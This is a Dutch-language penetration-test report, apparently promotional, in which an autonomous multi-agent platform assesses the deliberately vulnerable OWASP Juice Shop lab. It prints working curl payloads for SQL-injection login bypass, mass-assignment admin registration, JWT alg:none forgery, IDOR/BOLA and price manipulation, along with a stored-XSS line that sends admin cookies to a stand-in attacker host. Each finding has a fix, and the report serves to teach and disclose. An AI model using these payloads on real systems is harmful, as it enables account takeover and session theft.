Cruxa Security Assessment — OWASP Juice Shop

Doelwit: OWASP Juice Shop (referentie-applicatie) **Scan-ID:** juice-shop-20260710115053 **Datum:** 10 juli 2026 **Uitgevoerd door:** Cruxa — autonoom multi-agent security-platform **Aard:** Capability-benchmark — volledig autonome scan, gevalideerd via `/client-report`-procedure

---

Waarom dit rapport bestaat

OWASP Juice Shop is de meest gebruikte doelbewust-kwetsbare webapplicatie ter wereld — het is géén verrassing dát er kwetsbaarheden in zitten. Dit rapport laat daarom iets anders zien: **wat Cruxa er volledig autonoom uit haalt, en hoe hard het bewijs is.**

In één ononderbroken, volledig autonome run loste het Cruxa-platform met **31 samenwerkende agents** 26 van OWASP Juice Shop's officiële challenges op — vanaf nul — en evalueerde **166 ruwe findings**. Onze eigen bewijs-poort bevestigde er 9 direct; na onafhankelijke reproductie bleven **13 exploiteerbare bevindingen** over, en — belangrijker dan de losse bevindingen — werden **drie complete aanvalsketens** samengesteld die tonen hoe een aanvaller ze combineert tot volledige platform-overname. Elke bevinding hieronder heeft een werkende Proof-of-Concept en een concrete code-fix in de taal van de applicatie.

Dat laatste is het onderscheid. Een scanner die een lijst met losse kwetsbaarheden dumpt is een commodity. Een engine die zelfstandig redeneert — "deze autorisatie-lat plus dat opgeslagen script plus die niet-geïnvalideerde sessie vormen sámen een stille admin-overname" — is dat niet.

Managementsamenvatting

Cruxa identificeerde **13 bevestigde, exploiteerbare kwetsbaarheden**: 5 kritiek (P1), 5 hoog (P2) en 3 middel (P3). Vijf onafhankelijke paden leiden tot **volledige administratieve overname zonder enige voorkennis van inloggegevens**.

Ernst	Aantal	Voorbeelden
P1 — Kritiek	5	Standaard admin-wachtwoord, mass-assignment admin-registratie, JWT `alg:none`-vervalsing, UNION SQL-injectie (34 gebruikers geëxtraheerd), SQL-authenticatie-bypass
P2 — Hoog	5	Volledige gebruikersdatabase via BFLA, IDOR winkelmandje, BOLA afrekenen, opgeslagen XSS in admin, prijsmanipulatie (−$897,01)
P3 — Middel	3	Klachten-database via BFLA, open FTP-directory met vertrouwelijke documenten, ongeauthenticeerde metrics

Bewijs-discipline: uit 166 ruwe findings liet de geautomatiseerde bewijs-poort er slechts 9 direct door (amper 5%). 120 werden geblokkeerd wegens onvoldoende hard bewijs en 37 gemarkeerd voor handmatige verificatie; daarvan hielden er 4 stand na onafhankelijke reproductie — samen met de 9 vormen zij de 13 bevindingen in dit rapport. Precies het onderscheid tussen "een scanner riep iets" en "onafhankelijk gereproduceerd".

Regulatoire blootstelling: meerdere bevindingen raken AVG art. 33 (meldplicht datalek) en PCI-DSS-verplichtingen door blootstelling van gebruikersdata, wachtwoord-hashes en volledige accountovername.

Scope

Doel-URL	`juice-shop.localhost` (OWASP Juice Shop, Node.js / Express / Sequelize-ORM)
Getest oppervlak	80 endpoints (REST + API), ongeauthenticeerd én geauthenticeerd
Authenticatie	Geverifieerd met standaard admin- en klant-accounts
Fasen uitgevoerd	Recon → JS-analyse → hypothese-generatie → auth → authz → injectie (server + client) → business-logic → mercury (laterale technieken) → exploit-iteratie → keten-synthese

---

Bevestigde bevindingen

P1-01 — Standaard admin-inloggegevens actief in productie

Type: Hardcoded credentials · **CWE-798** · **OWASP A07:2021** · **Endpoint:** `POST /rest/user/login`

De applicatie draait met een ingebouwd standaard-adminaccount (`admin@juice-sh.op` / `admin123`). Authenticatie slaagt direct en levert een JWT met `role:admin` en volledige beheerrechten.

```
curl -s -X POST http://juice-shop.localhost/rest/user/login \
  -H 'Content-Type: application/json' \
  -d '{"email":"admin@juice-sh.op","password":"admin123"}'
# → {"authentication":{"token":"eyJ...","bid":1,"umail":"admin@juice-sh.op"}}
```

Aangetoonde impact: HTTP 200 met geldig admin-JWT; token gebruikt om 34 gebruikersrecords te enumereren, waaronder 5 admin-accounts. Volledige beheertoegang zonder enige legitieme inloggegevens.

Oplossing: Verwijder standaard-inloggegevens uit alle seeding-scripts; forceer wachtwoordwijziging bij eerste login; wachtwoordbeleid (min. 12 tekens); MFA voor admin-accounts.

P1-02 — Mass-assignment: ongeauthenticeerde admin-zelfregistratie

Type: Mass assignment · **CWE-915** · **OWASP A08:2021** · **Endpoint:** `POST /api/Users`

Het registratie-endpoint accepteert een `role` -veld in de request-body en slaat de door de client aangeleverde waarde op zónder server-side validatie. Elke ongeauthenticeerde aanvaller registreert in één request een account met `role:admin` .

```
curl -si -X POST http://juice-shop.localhost/api/Users \
  -H 'Content-Type: application/json' \
  -d '{"email":"attacker@evil.com","password":"Attack3r!","role":"admin"}'
# → HTTP/1.1 201 Created
# → {"data":{"id":36,"email":"attacker@evil.com","role":"admin",
#            "profileImage":"/assets/public/images/uploads/defaultAdmin.png"}}
```

Aangetoonde impact: HTTP 201 met bevestigde `role:admin`; `profileImage` op `defaultAdmin.png` bevestigt dat de admin-rol daadwerkelijk is toegekend. Nul-drempel privilege-escalatie: elke bezoeker wordt admin in één HTTP-request.

Oplossing: Strikte veld-whitelist op `POST /api/Users` (alleen `email`, `password`, `username`). Verwijder `role`, `isAdmin`, `deluxeToken` uit de geaccepteerde body. Rol-toekenning uitsluitend via vertrouwde admin-workflows.

P1-03 — JWT `alg:none`: vervalst admin-token zonder handtekening geaccepteerd

Type: Cryptografische verificatie-fout · **CWE-347** · **OWASP A02:2021** · **Endpoint:** alle geauthenticeerde endpoints

De JWT-verificatie accepteert tokens met `alg:none` (geen handtekening). Een aanvaller kan zo elke identiteit — inclusief admin — vervalsen zónder de RS256-privésleutel te kennen. Alle hoofdletter-varianten (`none`, `None`, `NONE`) worden geaccepteerd.

```
# Vervals een admin-JWT met alg:none (geen sleutel nodig)
HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"data":{"id":1,"email":"admin@juice-sh.op","role":"admin"}}' | base64 -w0 | tr '+/'
FORGED="${HEADER}.${PAYLOAD}."

# Het vervalste token wordt geaccepteerd op admin-endpoints:
curl -s -H "Authorization: Bearer $FORGED" \
  http://juice-shop.localhost/api/Users | jq '.data | length'
# → 34   (volledige gebruikerslijst geretourneerd op een ongesigneerd token)
```

Aangetoonde impact: Een JWT met `alg:none` en `role:admin` — zonder geldige handtekening — wordt door de server als admin geaccepteerd. `GET /api/Users` retourneert de volledige gebruikersdatabase (34 records) op basis van het vervalste token. Omdat de handtekening niet wordt gecontroleerd, is elke identiteit — inclusief admin — te vervalsen; het authenticatiemodel is volledig omzeild, wat elke admin-actie mogelijk maakt.

Oplossing: In `jsonwebtoken` (Node.js): altijd `jwt.verify(token, secret, {algorithms: ['RS256']})`. Weiger elk JWT waarvan de header `alg` gelijk is aan `none` of leeg is, vóór verificatie. Gebruik nooit `jwt.decode()` zonder verificatie voor autorisatiebeslissingen.

P1-04 — UNION SQL-injectie: 34 gebruikers ongeauthenticeerd geëxtraheerd

Type: SQL-injectie (UNION-based) · **CWE-89** · **OWASP A03:2021** · **Endpoint:** `GET /rest/products/search?q=`

Het productzoek-endpoint interpoleert de `q`-parameter rechtstreeks in een SQL-query. Een UNION-injectie met bijpassend kolom-aantal laat een ongeauthenticeerde aanvaller willekeurige tabellen uitlezen — inclusief de volledige `Users`-tabel met e-mailadressen en wachtwoord-hashes.

```
# Ongeauthenticeerde UNION-injectie op het zoek-endpoint (kolom-aantal afgestemd)
curl -s "http://juice-shop.localhost/rest/products/search?q=<UNION-payload>"
# → response.data bevat 34 gebruikersrecords:
#    id=1  email=admin@juice-sh.op   password=0192023a7bbd73250516f069df18b500
#    id=4  email=bjoern.kimminich@gmail.com ...
```

Aangetoonde impact: Bewijs-type C (data-exfiltratie): 34 gebruikersrecords — e-mailadressen en MD5 wachtwoord-hashes — geretourneerd in de response, **volledig ongeauthenticeerd**. Directe koppeling met P2-11 (MD5-hashes): de geëxtraheerde hashes zijn triviaal offline te kraken → permanente accountovername.

Oplossing: Gebruik geparametriseerde queries / prepared statements. Interpoleer nooit gebruikersinvoer in SQL-strings. In Sequelize: gebruik `replacements` of de query-builder, nooit string-concatenatie.

P1-05 — SQL-injectie authenticatie-bypass op login

Type: SQL-injectie (auth bypass) · **CWE-89** · **OWASP A03:2021** · **Endpoint:** `POST /rest/user/login`

Het login-endpoint is kwetsbaar voor een klassieke authenticatie-bypass: een geïnjecteerde `OR 1=1`-conditie in het `email`-veld laat de query het eerste record (admin) matchen, waarna een geldig admin-JWT wordt uitgegeven — zonder wachtwoord.

```
curl -s -X POST http://juice-shop.localhost/rest/user/login \
  -H 'Content-Type: application/json' \
  -d $'{"email":"\' OR 1=1--","password":"anything"}'
# → HTTP 200 met admin-JWT (id=1, role=admin)
```

Aangetoonde impact: Admin-authenticatie zonder geldige inloggegevens; retourneert een admin-JWT met wachtwoord-hash in de payload (zie P2-11). Onafhankelijk van P1-01 — werkt óók nadat het standaard-wachtwoord is gewijzigd.

Oplossing: Geparametriseerde queries in de login-handler. Escape nooit handmatig; gebruik de ORM-bindings.

P2-06 — Broken Function Level Authorization: volledige gebruikersdatabase

Type: BFLA · **CWE-285** · **OWASP A01:2021** · **Endpoint:** `GET /api/Users`

`/api/Users` retourneert alle gebruikers (inclusief admins) aan elke geauthenticeerde klant, zónder rol-controle. Elke klant enumereert alle e-mailadressen, rollen, deluxe-tokens en laatste-login-IP's.

```
# Ingelogd als gewone klant:
curl -s -H "Authorization: Bearer $CUSTOMER_TOKEN" \
  http://juice-shop.localhost/api/Users | jq '.data[] | {id,email,role}'
# → {"id":1,"email":"admin@juice-sh.op","role":"admin"}
#   {"id":4,"email":"bjoern.kimminich@gmail.com","role":"admin"}
#   ... (34 records)
```

Aangetoonde impact: Volledige gebruikersdatabase geretourneerd aan een `role:customer`-token; 5 admin-accounts, deluxe-tokens (`d715c2c75d4a42d3825a`) en login-IP's blootgesteld. Basis voor gerichte phishing en credential-stuffing.

Oplossing:

```
router.get('/api/Users', (req, res) => {
  if (!req.user || req.user.data.role !== 'admin')
    return res.status(403).json({error: 'Forbidden'});
  // ... bestaande logica
});
```

P2-07 — IDOR: elk winkelmandje uitleesbaar

Type: IDOR · **CWE-639** · **OWASP A01:2021** · **Endpoint:** `GET /rest/basket/{id}`

Het mandje-endpoint retourneert de inhoud van elk mandje op ID, zonder te controleren of de aanvrager eigenaar is. Elke geauthenticeerde gebruiker leest elk ander mandje door de ID op te hogen.

```
# Klant B (uid=24) leest het mandje van klant A (uid=23):
curl -s -H "Authorization: Bearer $TOKEN_B" http://juice-shop.localhost/rest/basket/6
# → {"data":{"id":6,"UserId":23,"Products":[...]}}   (ander account)
```

Aangetoonde impact: Cross-account mandje-uitlezing bevestigd met twee testaccounts; ook het admin-mandje (`basket/1` , UserId=1) is door elke klant leesbaar. Productkeuzes, aantallen en koopintentie van alle gebruikers blootgesteld.

Oplossing: Eigendoms-controle vóór teruggave:

```
const basket = await Basket.findByPk(req.params.id);
if (basket.UserId !== req.user.data.id)
  return res.status(403).json({error: 'Forbidden'});
```

P2-08 — BOLA: afrekenen van andermans winkelmandje

Type: BOLA · **CWE-639** · **OWASP A01:2021** · **Endpoint:** `POST /rest/basket/{id}/checkout`

Het afreken-endpoint verwerkt elk mandje op ID zonder eigendoms-controle. Een aanvaller forceert het afrekenen van het mandje van een slachtoffer, genereert een order-bevestiging en leegt diens winkelwagen.

```
# Aanvaller (uid=23) rekent het mandje van een slachtoffer af:
curl -s -X POST -H "Authorization: Bearer $TOKEN_A" \
  http://juice-shop.localhost/rest/basket/7/checkout
# → HTTP 200 {"orderConfirmation":"5f8a-b143585b646365d8"}
#   (basket 7 is eigendom van UserId 24 — afgerekend door UserId 23)
```

Aangetoonde impact: Twee-account-bewijs: klant A rekent het mandje van klant B af (HTTP 200 + order-bevestiging); ook bevestigd op het admin-mandje. Financiële verstoring: legitieme orders gesaboteerd, mandje-inhoud verdwijnt.

Oplossing: Dezelfde eigendoms-controle als P2-07 op de checkout-handler.

P2-09 — Opgeslagen XSS in admin-gebruikersnaam

Type: Stored XSS · **CWE-79** · **OWASP A03:2021** · **CVSS 6.1** · **Endpoint:** admin-gebruikersnaam, gerenderd op `/administration`

De admin-gebruikersnaam bevat een opgeslagen XSS-payload die uitvoert zodra een admin het `/administration`-paneel opent. Cruciaal: de payload is via de BFLA-fout (P2-06) door elke klant uitleesbaar — de aanvaller heeft geen admin-toegang nodig om de trap te zetten.

```
# Elke klant kan de opgeslagen payload uitlezen via BFLA:
curl -s -H "Authorization: Bearer $CUSTOMER_TOKEN" \
  http://juice-shop.localhost/api/Users/1 | jq '.data.username'
# → "<img src=x id=xsstest onerror=alert(document.domain)>"
```

Aangetoonde impact: Opgeslagen payload bevestigd in de admin-gebruikersnaam; `document.domain` = `juice-shop.localhost` uitgevoerd bij render van het admin-paneel. Geweaponiseerd (`onerror="fetch('//attacker/?c='+document.cookie)"`) leidt dit tot diefstal van de admin-sessie. Zie **KETEN-02**.

Oplossing: Sanitize de gebruikersnaam op invoer (allowlist); HTML-escape alle gebruikersvelden vóór rendering; `Content-Security-Policy: script-src 'self'`; DOMPurify client-side.

P2-10 — Prijsmanipulatie via negatieve hoeveelheid (−$897,01)

Type: Business-logic · **CWE-840** · **OWASP A04:2021** · **Endpoint:** `PUT /api/BasketItems/{id}`

`PUT /api/BasketItems/{id}` accepteert `quantity`-waarden zonder ondergrens. Een negatieve hoeveelheid op een artikel van $8,99 produceert een mandje-totaal van **−$897,01**, en het afrekenen slaagt.

```
curl -s -X PUT -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"quantity":-100}' http://juice-shop.localhost/api/BasketItems/12
# → {"data":{"quantity":-100,...}}
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  http://juice-shop.localhost/rest/basket/6/checkout
# → {"orderConfirmation":"5f8a-25e4acf80e5abac2"}   (afgerekend op negatief totaal)
```

Aangetoonde impact: Toestandsmutatie bevestigd: negatieve hoeveelheid geaccepteerd en gepersisteerd, mandje-totaal −$897,01, afrekenen slaagt met order-bevestiging. Directe financiële fraude (negatieve orderwaarde / tegoed-creatie).

Oplossing: Valideer `quantity >= 1` server-side in `PUT /api/BasketItems/{id}` én bij checkout.

P2-11 — MD5 wachtwoord-hash gelekt in JWT-payload

Type: Cryptografische zwakte / info-disclosure · **CWE-327** · **OWASP A02:2021** · **Endpoint:** `POST /rest/user/login`

Elke JWT-payload bevat een MD5-hash van het wachtwoord in het `.data.password`-veld. MD5 is computationeel gebroken — gratis online diensten draaien veelvoorkomende wachtwoorden direct terug. Gecombineerd met P1-04 (UNION-SQLi extraheert dezelfde hashes ongeauthenticeerd) → permanente accountovername.

```
echo $TOKEN | cut -d. -f2 | base64 -d | jq '.data.password'
# → "0192023a7bbd73250516f069df18b500"   (MD5 van het admin-wachtwoord)
```

Aangetoonde impact: Wachtwoord-hash zonder sleutel uit elk JWT te lezen; admin-hash blootgesteld. MD5 zonder salt → triviaal te kraken.

Oplossing: Verwijder het wachtwoordveld volledig uit de JWT-payload. Stap over van MD5 naar bcrypt/argon2 voor wachtwoordopslag.

P3-12 — BFLA: alle klachten uitleesbaar

Type: BFLA · **CWE-285** · **OWASP A01:2021** · **Endpoint:** `GET /api/Complaints`

Elke geauthenticeerde klant kan alle klachtrecords van andere klanten opvragen. Het endpoint vereist authenticatie (401 zonder token) maar voert geen rol-controle uit.

```
curl -s -H "Authorization: Bearer $TOKEN" http://juice-shop.localhost/api/Complaints
# → {"data":[{"UserId":3,"id":1,"message":"..."},{"UserId":null,"id":2,"message":"test"}]}
```

Aangetoonde impact: Alle klachten leesbaar door elke geauthenticeerde gebruiker; `UserId`-koppeling maakt identiteitscorrelatie mogelijk.

Oplossing: Beperk `GET /api/Complaints` tot admin-rol.

P3-13 — Open FTP-directory: vertrouwelijke documenten blootgesteld

Type: Info-disclosure / broken access control · **CWE-548** · **OWASP A05:2021** · **Endpoint:** `GET /ftp/`

De `/ftp/`-directory is zonder authenticatie doorbladerbaar. Naast een whitelist-omzeiling (via een null-byte-truncatie op de bestandsextensie) zijn álle gevoelige bestanden ongeauthenticeerd te downloaden.

```
curl -s http://juice-shop.localhost/ftp/                # directory-listing
curl -s http://juice-shop.localhost/ftp/acquisitions.md  # vertrouwelijk M&A-document
```

Aangetoonde impact: Blootgestelde bestanden: `acquisitions.md` (vertrouwelijk overname-document — *"Our company plans to acquire several competitors... significant stock market impact"* — koersgevoelige informatie), `incident-support.kdbx` (KeePass wachtwoord-database, downloadbaar), `coupons_2013.md.bak` (kortingscodes), `encrypt.pyc`. Whitelist-omzeiling bevestigd: alle 5 bestanden ongeauthenticeerd gedownload.

Oplossing: Verwijder `/ftp/` van de webserver. Sla documenten op achter geauthenticeerde, geautoriseerde API-endpoints.

Aanvullend — Ongeauthenticeerde `/metrics` (P3)

`GET /metrics` retourneert 366 regels Prometheus-metrics zonder authenticatie: upload-statistieken, interne taaknamen, opstart-tijden. **Oplossing:** beperk tot intern netwerk of voeg HTTP-basicauth toe.

Aanvalsketens — waar losse bevindingen samenkomen

Dit is waar het Cruxa-platform zich onderscheidt van een scanner: het combineert bevindingen tot volledige aanvalsscenario's.

KETEN-01 — Volledige admin-overname zonder inloggegevens (drie onafhankelijke paden)

```
PAD A:  POST /api/Users {role:admin}          → 201 → login → admin-JWT
PAD B:  POST /rest/user/login {admin:admin123} → 200 → admin-JWT
PAD C:  Vervals JWT (alg:none, role:admin)     → geaccepteerd op alle endpoints
```

Elk pad geeft volledige beheertoegang tot alle 34 gebruikers, alle orders en alle configuratie. Drie onafhankelijke routes betekent dat het dichten van één de andere twee niet raakt — de robuustheid van de aanval is zelf een bevinding.

KETEN-02 — Klant → volledige gebruikersdatabase → stille admin-sessie-overname

```
1. GET /api/Users (BFLA, P2-06)        → enumereer alle gebruikers + admin-e-mails
2. GET /api/Users/1                    → lees admin-gebruikersnaam met opgeslagen XSS (P2-09)
3. Wacht tot een admin /administration opent
4. XSS vuurt in de admin-browser       → exfiltreer de admin-sessie
5. Gebruik de sessie                   → volledige admin-controle
```

Een gewone klant zet een val (leest de payload via de autorisatie-lat), wacht passief, en kaapt de admin-sessie zodra die inlogt — zonder ooit zelf admin-rechten te hebben.

KETEN-03 — Cross-account order-sabotage

```
1. GET /rest/basket/{id} (IDOR, P2-07)          → lees mandje van slachtoffer
2. POST /rest/basket/{id}/checkout (BOLA, P2-08) → forceer afrekenen
3. Mandje van slachtoffer geleegd, valse order gegenereerd
```

Aanvullend gedetecteerd: SQL-auth-bypass + MD5-hash-lek → permanente credential-diefstal; en `alg:none` → volledige DB-exfiltratie zonder inloggegevens.

Onderzocht maar gefilterd — de bewijs-discipline

De kracht van dit rapport zit evenzeer in wat er **niet** in staat. Van 166 ruwe findings zijn er 120 door de bewijs-poort geblokkeerd omdat ze niet aan de hardheids-eis voldeden (HTTP-status zonder aangetoond neveneffect, hypothetische framing, of dubbele detectie). Voorbeelden van bewust uitgesloten of afgezwakte claims:

Vector	Waarom niet als bevinding
Diverse "injection-labels" op endpoints	Alleen HTTP-200 zonder aantoonbare query-manipulatie of data-extractie → geblokkeerd
Time-based timing-signalen	Timing-ruis zonder toe te schrijven vertraging → niet als SQLi geteld
Beschermde admin-endpoints (`/api/Cards` , `/api/Addresss` , `/api/PrivacyRequests` , `/rest/basket`)	Correct 401/403 — **goede toegangscontrole**, expliciet uitgesloten

Deze transparantie voorkomt dat een security-rapport zichzelf opblaast met theoretische bevindingen — de kern van waarom "onafhankelijk gereproduceerd" een harde eis is.

Geteste dekking & zekerheid

- **Getest oppervlak:** 80 endpoints (REST + API), ongeauthenticeerd én geauthenticeerd. Uitgevoerde fasen: recon, JS-bundle-analyse, hypothese-generatie, authenticatie, autorisatie, injectie (server + client), business-logic, laterale technieken (mercury), exploit-iteratie en keten-synthese. 31 agents, 0 uitval.
- **Zekerheid:** hoge zekerheid op het geteste oppervlak; alle 13 bevindingen zijn onafhankelijk gereproduceerd met werkende PoC. Het ongeauthenticeerde oppervlak is uitputtend afgedekt; het geauthenticeerde oppervlak is getest met beheerdersrechten én een tweede klant-testaccount (voor de cross-account IDOR/BOLA-bewijzen).
- **Definitief gesloten:** klassieke toegangscontrole op de beschermde admin-resources (`/api/Cards` , `/api/Addresss` , `/api/PrivacyRequests`) is correct (401/403) en daarmee als aanvalsvector uitgesloten.

Methodologie

Cruxa voert een volledig autonome scan uit met 31 gespecialiseerde agents die parallel en in keten samenwerken: verkenning, JS-bundle-analyse, hypothese-generatie, en gespecialiseerde exploit-agents per kwetsbaarheidsklasse, afgesloten door een keten-synthese-agent en een strenge bewijs-poort. De poort bevestigde 9 bevindingen direct; de overige 4 werden na onafhankelijke reproductie bevestigd — niet op intuïtie, maar op live bewijs. De scan loste daarbij 26 van OWASP Juice Shop's officiële challenges autonoom op. Voorafgaand aan publicatie is elke bevinding via de `/client-report`-procedure her-gevalideerd.

Compliance & audit

Kader	Relevantie
OWASP Top 10 (2021)	A01 (toegangscontrole), A02 (crypto), A03 (injectie), A04 (business-logic), A05 (misconfiguratie), A07 (authenticatie), A08 (integriteit) — 7 van de 10 categorieën geraakt
CWE	798, 915, 347, 89, 285, 639, 79, 840, 327, 548
AVG	Art. 33 meldplicht (blootstelling gebruikersdata + wachtwoord-hashes)
PCI-DSS	Accountovername + financiële manipulatie raken betaal-integriteit

Over dit rapport

Gegenereerd door **Cruxa** — autonoom security-platform — en gevalideerd op 10 juli 2026 via de `/client-report`-procedure. Elke bevinding hierboven is onafhankelijk gereproduceerd met een werkende Proof-of-Concept en een concrete code-fix. Dit is één ononderbroken, volledig autonome run — geen handmatige aansturing van de scan zelf.

Cruxa — 10 juli 2026 · cruxa.io